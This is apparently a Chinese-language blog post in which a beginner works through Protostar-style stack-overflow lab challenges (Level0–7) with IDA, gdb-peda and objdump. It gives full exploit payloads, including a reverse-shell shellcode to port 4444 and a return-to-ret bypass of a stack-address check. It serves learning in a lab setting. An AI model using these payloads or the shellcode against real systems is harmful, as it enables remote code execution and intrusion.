经过了多次比赛web的碰壁,发现现在单纯的web题已经很少见了。。大多都混合了如密码学、逆向等的知识。所以打算入坑pwn,打开新的大门。
要准备的工具(带后续补充)
逆向分析及动态调试用:IDAPro,Ollydbg
调试用:gdb,peda-gdb(或pwngdb这类基于gdb),objdump
其他工具:ROPgadget,one_gadget,LibcSearcher, pwntools
简单示例习题
题目来源
Level0
题目源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #include <stdlib.h> #include <unistd.h> #include <stdio.h> int main (int argc, char **argv) { volatile int modified; char buffer[64 ]; modified = 0 ; gets(buffer); if (modified != 0 ) { printf ("you have changed the 'modified' variable\n" ); } else { printf ("Try again?\n" ); } }
可以看到这个程序中有一个大小为64字节的buffer
变量,以及一int型的变量modified
。正常来说这个程序的执行肯定是输出"Try
again?"。
但是这两个变量具有相同的栈底地址 ,并且buffer变量的输入是通过使用了一个不安全的函数gets(),这个函数之所以危险,是因为这个函数没有限制输入内容的上限 ,所以可以通过输入超过64字节的buffer变量来覆盖modified变量。
先扔进IDA里看一下反编译的代码:
可以看到变量数组和整型变量之间的地址相差5CH - 10H = 4CH = 76字节
,所以用76个字节的数组输入之后,再填充一个非0的值就可以覆盖modified
的变量值了。
Level1
Level1和Level0大同小异,Level1的区别是在代码中没有使用gets()这样的不推荐使用的危险函数,但是以不恰当的方式使用了strcpy()
这个函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main (int argc, char **argv) { volatile int modified; char buffer[64 ]; if (argc == 1 ) { errx(1 , "please specify an argument\n" ); } modified = 0 ; strcpy (buffer, argv[1 ]); if (modified == 0x61626364 ) { printf ("you have correctly got the variable to the right value\n" ); } else { printf ("Try again, you got 0x%08x\n" , modified); } }
可以看到他将输入的参数argv直接拷贝进了buffer,而参数的长度也没有事先的进行检查。这个属于复制和连接字符串 上的错误,其他如strcat()、sprintf()也可能会发生(推荐参考图书《C和C++安全编码》)
这段代码要求modified变量的值为十六进制的0x61626364,与上题相同,这里只给出payload(注意小端序 ):
结果:
Level2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main (int argc, char **argv) { volatile int modified; char buffer[64 ]; char *variable; variable = getenv("GREENIE" ); if (variable == NULL ) { errx(1 , "please set the GREENIE environment variable\n" ); } modified = 0 ; strcpy (buffer, variable); if (modified == 0x0d0a0d0a ) { printf ("you have correctly modified the variable\n" ); } else { printf ("Try again, you got 0x%08x\n" , modified); } }
这个也是大同小异,只不过增加了环境变量 这个概念,下面是getevn函数的说明:
1 2 3 4 ...... DESCRIPTION The getenv() function searches the environment list to find the environment variable name, and returns a pointer to the corresponding value string. ......
当然这个从环境中获取的变量值的长度也是没有设定的,这里写一个简单的脚本,输出一个环境变量就可以了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import ospayload = 'a' * 64 + '\x0a\x0d\x0a\x0d' os.putenv("GREENIE" , payload) os.system("./level2" ) ''' help on built-in function putenv in module posix: putenv(...) putenv(key, value) Change or add an environment variable. '''
Level3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void win () { printf ("code flow successfully changed\n" ); } int main (int argc, char **argv) { volatile int (*fp) () ; char buffer[64 ]; fp = 0 ; gets(buffer); if (fp) { printf ("calling function pointer, jumping to 0x%08x\n" , fp); fp(); } }
扔进IDA:
算出地址差为40H
即64字节。
使用objdump -d
命令找到win()函数的地址为0x08048424
。
注意一下小端序就可以了。这个简单的实例题演示了如何通过溢出覆写变量来改变程序的流程。
Level4
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void win () { printf ("code flow successfully changed\n" ); } int main (int argc, char **argv) { char buffer[64 ]; gets(buffer); }
这道题目虽然没有其他可以覆盖的变量来进行函数的跳转,但是我们可以通过溢出来覆写main函数的返回地址,从而来改变程序的执行流程,下面进行gdb的调试来判断栈的空间大小:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 $ gdb -q level4 Reading symbols from level4... gdb-peda$ pattern_create 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ r Starting program: /root/Desktop/PwnStudy/Level0-7/level4 AAA%AAsAABAA$AAnAACAA -AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0xffffd1d0 ("AAA%AAsAABAA$AAnAACAA -AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL" ) EBX: 0x0 ECX: 0xf7fa25c0 --> 0xfbad2288 EDX: 0xf7fa401c --> 0x0 ESI: 0xf7fa2000 --> 0x1d6d6c EDI: 0xf7fa2000 --> 0x1d6d6c EBP: 0x65414149 ('IAAe' ) ESP: 0xffffd220 ("AJAAfAA5AAKAAgAA6AAL" ) EIP: 0x41344141 ('AA4A' ) EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41344141 [------------------------------------stack-------------------------------------] 0000| 0xffffd220 ("AJAAfAA5AAKAAgAA6AAL" ) 0004| 0xffffd224 ("fAA5AAKAAgAA6AAL" ) 0008| 0xffffd228 ("AAKAAgAA6AAL" ) 0012| 0xffffd22c ("AgAA6AAL" ) 0016| 0xffffd230 ("6AAL" ) 0020| 0xffffd234 --> 0x0 0024| 0xffffd238 --> 0xf7fa2000 --> 0x1d6d6c 0028| 0xffffd23c --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x41344141 in ?? () gdb-peda$ pattern_offset 0x41344141 1093943617 found at offset: 76
然后我们验证一下是否栈的空间大小就是76:
石锤了,那就objdump查找win函数的地址,覆写上去就好,payload:
Level5
1 2 3 4 5 6 7 8 9 10 11 #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main (int argc, char **argv) { char buffer[64 ]; gets(buffer); }
这个就更简洁了,那我们的目的就是执行一段我们插入的恶意代码了。下面进行gdb的调试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 gdb-peda$ pattern_create 200 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA' gdb-peda$ r Starting program: /root/Desktop/PwnStudy/Level0-7/level5 AAA%AAsAABAA$AAnAACAA -AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0xffffd1d0 ("AAA%AAsAABAA$AAnAACAA -AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA" ) EBX: 0x0 ECX: 0xf7fa25c0 --> 0xfbad2288 EDX: 0xf7fa401c --> 0x0 ESI: 0xf7fa2000 --> 0x1d6d6c EDI: 0xf7fa2000 --> 0x1d6d6c EBP: 0x65414149 ('IAAe' ) ESP: 0xffffd220 ("AJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA" ) EIP: 0x41344141 ('AA4A' ) EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41344141 [------------------------------------stack-------------------------------------] 0000| 0xffffd220 ("AJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA" ) 0004| 0xffffd224 ("fAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA" ) 0008| 0xffffd228 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA" ) 0012| 0xffffd22c ("AgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA" ) 0016| 0xffffd230 ("6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA" ) 0020| 0xffffd234 ("AAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA" ) 0024| 0xffffd238 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA" ) 0028| 0xffffd23c ("MAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA" ) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x41344141 in ?? () gdb-peda$ pattern_offset 0x41344141 1093943617 found at offset: 76 gdb-peda$ x/100xw $esp 0xffffd220: 0x41414a41 0x35414166 0x414b4141 0x41416741 0xffffd230: 0x4c414136 0x41684141 0x41413741 0x6941414d 0xffffd240: 0x41384141 0x41414e41 0x3941416a 0x414f4141 0xffffd250: 0x41416b41 0x6c414150 0x41514141 0x41416d41 0xffffd260: 0x6f414152 0x41534141 0x41417041 0x71414154 0xffffd270: 0x41554141 0x41417241 0x74414156 0x41574141 0xffffd280: 0x41417541 0x76414158 0x41594141 0x41417741 0xffffd290: 0x7841415a 0x41794141(注意这里) 0xffffd200 0x080483f0 0xffffd2a0: 0x080483e0 0xf7fe42d0 0xffffd2ac 0x0000001c 0xffffd2b0: 0x00000001 0xffffd468 0x00000000 0xffffd48f 0xffffd2c0: 0xffffd4b0 0xffffd4d6 0xffffd524 0xffffd57a 0xffffd2d0: 0xffffd58d 0xffffd5a7 0xffffd5b8 0xffffd5cb 0xffffd2e0: 0xffffd5fc 0xffffd606 0xffffd61c 0xffffd633 0xffffd2f0: 0xffffd63e 0xffffd656 0xffffd66a 0xffffd69d 0xffffd300: 0xffffd6a8 0xffffd6b7 0xffffd6d3 0xffffd710 0xffffd310: 0xffffd71d 0xffffd737 0xffffd74b 0xffffd777 0xffffd320: 0xffffd78f 0xffffd79c 0xffffd7b9 0xffffd7ca 0xffffd330: 0xffffd80c 0xffffd828 0xffffd83d 0xffffd84e 0xffffd340: 0xffffd863 0xffffd872 0xffffd880 0xffffd895 0xffffd350: 0xffffd8a9 0xffffd8cf 0xffffd8f3 0xffffd90a 0xffffd360: 0xffffd91e 0xffffd92f 0xffffd93a 0xffffd942 0xffffd370: 0xffffd969 0xffffd97e 0xffffd989 0xffffd991 0xffffd380: 0xffffd9b1 0xffffdf93 0xffffdfbc 0xffffdfc5 0xffffd390: 0x00000000 0x00000020 0xf7fd3070 0x00000021 0xffffd3a0: 0xf7fd2000 0x00000010 0x1f8bfbff 0x00000006
在确定了溢出的大小为76字节后,我们查看一下栈内的内容,(使用x/命令),可以看到从0xffffd220到0xffffd298都是我们填充的内容,往后都不是了,所以我们可以插入的shellcode的大小为(0xffffd298
- oxffffd220) =
120个字节。这里我去exploit-db上随便找了一个107字节的shellcode,其目的是反弹一个shell到本地的4444端口,下面是payload:
1 2 3 4 5 6 7 8 9 10 11 echo `python -c "print 'A' * 76 + '\x20\xd2\xff\xff' +'\x31\xc0\x31\xdb\x50\x40\x50\x40\x50\x89\xe1\xb0\x33\x04\x33\x43\xcd\x80\x89\xc6\x31\xc0\x50\xc6\x04\x24\x7f\xc6\x44\x24\x03\x01\x66\x68\x11\x5c\x43\x66\x53\x89\xe1\xb0\x33\x04\x33\x50\x51\x56\x89\xe1\x43\xcd\x80\x31\xd2\x87\xca\xb1\x03\x89\xf3\x31\xc0\xb0\x3f\x49\xcd\x80\xb0\x3f\x49\xcd\x80\xb0\x3f\x49\xcd\x80\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x51\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80'" ` > test.txtnc -l -p 4444 gdb-peda$ r < test.txt Starting program: /root/Desktop/PwnStudy/Level0-7/level5 < test.txt process 4629 is executing new program: /usr/bin/dash
shell反弹之后就可以执行任意命令了:
Level6
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void getpath () { char buffer[64 ]; unsigned int ret; printf ("input path please: " ); fflush(stdout ); gets(buffer); ret = __builtin_return_address(0 ); if ((ret & 0xbf000000 ) == 0xbf000000 ) { printf ("bzzzt (%p)\n" , ret); _exit(1 ); } printf ("got path %s\n" , buffer); } int main (int argc, char **argv) { getpath(); }
首先进行偏移量的确认和可写入大小的确认:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 gdb-peda$ pattern_create 300 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%' gdb-peda$ r Starting program: /root/Desktop/PwnStudy/Level0-7/level6 input path please: AAA%AAsAABAA$AAnAACAA -AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A %nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A% got path AAA%AAsAABAA$AAnAACAA -AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAJAAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A %nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A% Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x136 EBX: 0x0 ECX: 0x7ffffeca EDX: 0xf7fa4010 --> 0x0 ESI: 0xf7fa2000 --> 0x1d6d6c EDI: 0xf7fa2000 --> 0x1d6d6c EBP: 0x41344141 ('AA4A' ) ESP: 0xffffd210 ("fAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A %nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA" ...) EIP: 0x41414a41 ('AJAA' ) EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41414a41 [------------------------------------stack-------------------------------------] 0000| 0xffffd210 ("fAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A %nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA" ...) 0004| 0xffffd214 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A %nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%" ...) 0008| 0xffffd218 ("AgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A %nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%K" ...) 0012| 0xffffd21c ("6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A %nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA" ...) 0016| 0xffffd220 ("AAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A %nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%" ) 0020| 0xffffd224 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A %nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%" ) 0024| 0xffffd228 ("MAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A %nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%" ) 0028| 0xffffd22c ("AA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A %nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%" ) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x41414a41 in ?? () gdb-peda$ pattern_offset 0x41414a41 1094797889 found at offset: 80 gdb-peda$ x/200xw $esp shellcode地址 ---> 0xffffd210: 0x35414166 0x414b4141 0x41416741 0x4c414136 0xffffd220: 0x41684141 0x41413741 0x6941414d 0x41384141 0xffffd230: 0x41414e41 0x3941416a 0x414f4141 0x41416b41 0xffffd240: 0x6c414150 0x41514141 0x41416d41 0x6f414152 0xffffd250: 0x41534141 0x41417041 0x71414154 0x41554141 0xffffd260: 0x41417241 0x74414156 0x41574141 0x41417541 0xffffd270: 0x76414158 0x41594141 0x41417741 0x7841415a 0xffffd280: 0x41794141 0x25417a41 0x73254125 0x41422541 0xffffd290: 0x25412425 0x4325416e 0x412d2541 0x25412825 0xffffd2a0: 0x3b254144 0x41292541 0x25414525 0x30254161 0xffffd2b0: 0x41462541 0x25416225 0x47254131 0x41632541 0xffffd2c0: 0x25413225 0x64254148 0x41332541 0x25414925 0xffffd2d0: 0x34254165 0x414a2541 0x25416625 0x4b254135 0xffffd2e0: 0x41672541 0x25413625(到这里) 0xffffd600 0xffffd633 0xffffd2f0: 0xffffd63e 0xffffd656 0xffffd66a 0xffffd69d 0xffffd300: 0xffffd6a8 0xffffd6b7 0xffffd6d3 0xffffd710 0xffffd310: 0xffffd71d 0xffffd737 0xffffd74b 0xffffd777 0xffffd320: 0xffffd78f 0xffffd79c 0xffffd7b9 0xffffd7ca 0xffffd330: 0xffffd80c 0xffffd828 0xffffd83d 0xffffd84e 0xffffd340: 0xffffd863 0xffffd872 0xffffd880 0xffffd895 0xffffd350: 0xffffd8a9 0xffffd8cf 0xffffd8f3 0xffffd90a 0xffffd360: 0xffffd91e 0xffffd92f 0xffffd93a 0xffffd942 0xffffd370: 0xffffd969 0xffffd97e 0xffffd989 0xffffd991 0xffffd380: 0xffffd9b1 0xffffdf93 0xffffdfbc 0xffffdfc5
结论:偏移量是80字节,可控大小为200字节。
这道题主要就是防止eip转到栈上去执行shell,主要是绕过0xbf000000这个检测(linux下的栈都是0xbf开头)。解决的方法是我们可以使用getpath()函数的ret指令来覆盖main函数的返回地址,当弹出ret到eip时,会执行ret指令(ret的地址是0x08开头,可以绕过上面的限制),再弹出栈头的数据到eip,这时如果栈头是shellcode的地址,那么就溢出成功了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 gdb-peda$ disassemble getpath Dump of assembler code for function getpath: 0x08048484 <+0>: push ebp 0x08048485 <+1>: mov ebp,esp 0x08048487 <+3>: sub esp,0x68 0x0804848a <+6>: mov eax,0x80485d0 0x0804848f <+11>: mov DWORD PTR [esp],eax 0x08048492 <+14>: call 0x80483c0 <printf @plt> 0x08048497 <+19>: mov eax,ds:0x8049720 0x0804849c <+24>: mov DWORD PTR [esp],eax 0x0804849f <+27>: call 0x80483b0 <fflush@plt> 0x080484a4 <+32>: lea eax,[ebp-0x4c] 0x080484a7 <+35>: mov DWORD PTR [esp],eax 0x080484aa <+38>: call 0x8048380 <gets@plt> 0x080484af <+43>: mov eax,DWORD PTR [ebp+0x4] 0x080484b2 <+46>: mov DWORD PTR [ebp-0xc],eax 0x080484b5 <+49>: mov eax,DWORD PTR [ebp-0xc] 0x080484b8 <+52>: and eax,0xbf000000 0x080484bd <+57>: cmp eax,0xbf000000 0x080484c2 <+62>: jne 0x80484e4 <getpath+96> 0x080484c4 <+64>: mov eax,0x80485e4 0x080484c9 <+69>: mov edx,DWORD PTR [ebp-0xc] 0x080484cc <+72>: mov DWORD PTR [esp+0x4],edx 0x080484d0 <+76>: mov DWORD PTR [esp],eax 0x080484d3 <+79>: call 0x80483c0 <printf @plt> 0x080484d8 <+84>: mov DWORD PTR [esp],0x1 0x080484df <+91>: call 0x80483a0 <_exit@plt> 0x080484e4 <+96>: mov eax,0x80485f0 0x080484e9 <+101>: lea edx,[ebp-0x4c] 0x080484ec <+104>: mov DWORD PTR [esp+0x4],edx 0x080484f0 <+108>: mov DWORD PTR [esp],eax 0x080484f3 <+111>: call 0x80483c0 <printf @plt> 0x080484f8 <+116>: leave 0x080484f9 <+117>: ret <--- \xf9\x84\x04\x08 0xffffd210 在上面
那么最终payload的格式是这样的:'A' * 80 | ret指令地址 | shellcode的地址 | 隔离'\x90' * 10| shellcode
我还是用上面的那个shellcode来构造最终的payload:
1 2 echo `python -c "print 'A' * 80 + '\x5f\x83\x04\x08' +'\x10\xd2\xff\xff' + '\x31\xc0\x31\xdb\x50\x40\x50\x40\x50\x89\xe1\xb0\x33\x04\x33\x43\xcd\x80\x89\xc6\x31\xc0\x50\xc6\x04\x24\x7f\xc6\x44\x24\x03\x01\x66\x68\x11\x5c\x43\x66\x53\x89\xe1\xb0\x33\x04\x33\x50\x51\x56\x89\xe1\x43\xcd\x80\x31\xd2\x87\xca\xb1\x03\x89\xf3\x31\xc0\xb0\x3f\x49\xcd\x80\xb0\x3f\x49\xcd\x80\xb0\x3f\x49\xcd\x80\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x51\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80'" ` > payload6.txt
Level7
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> char *getpath () { char buffer[64 ]; unsigned int ret; printf ("input path please: " ); fflush(stdout ); gets(buffer); ret = __builtin_return_address(0 ); if ((ret & 0xb0000000 ) == 0xb0000000 ) { printf ("bzzzt (%p)\n" , ret); _exit(1 ); } printf ("got path %s\n" , buffer); return strdup(buffer); } int main (int argc, char **argv) { getpath(); }
paylaod同上:
1 echo `python -c "print 'A' * 80 + '\x83\x83\04\x08' + '\x00\xd2\xff\xff' + '\x90'*20 + '\x31\xc0\x31\xdb\x50\x40\x50\x40\x50\x89\xe1\xb0\x33\x04\x33\x43\xcd\x80\x89\xc6\x31\xc0\x50\xc6\x04\x24\x7f\xc6\x44\x24\x03\x01\x66\x68\x11\x5c\x43\x66\x53\x89\xe1\xb0\x33\x04\x33\x50\x51\x56\x89\xe1\x43\xcd\x80\x31\xd2\x87\xca\xb1\x03\x89\xf3\x31\xc0\xb0\x3f\x49\xcd\x80\xb0\x3f\x49\xcd\x80\xb0\x3f\x49\xcd\x80\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x51\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80'" ` > payload7.txt
v1.5.2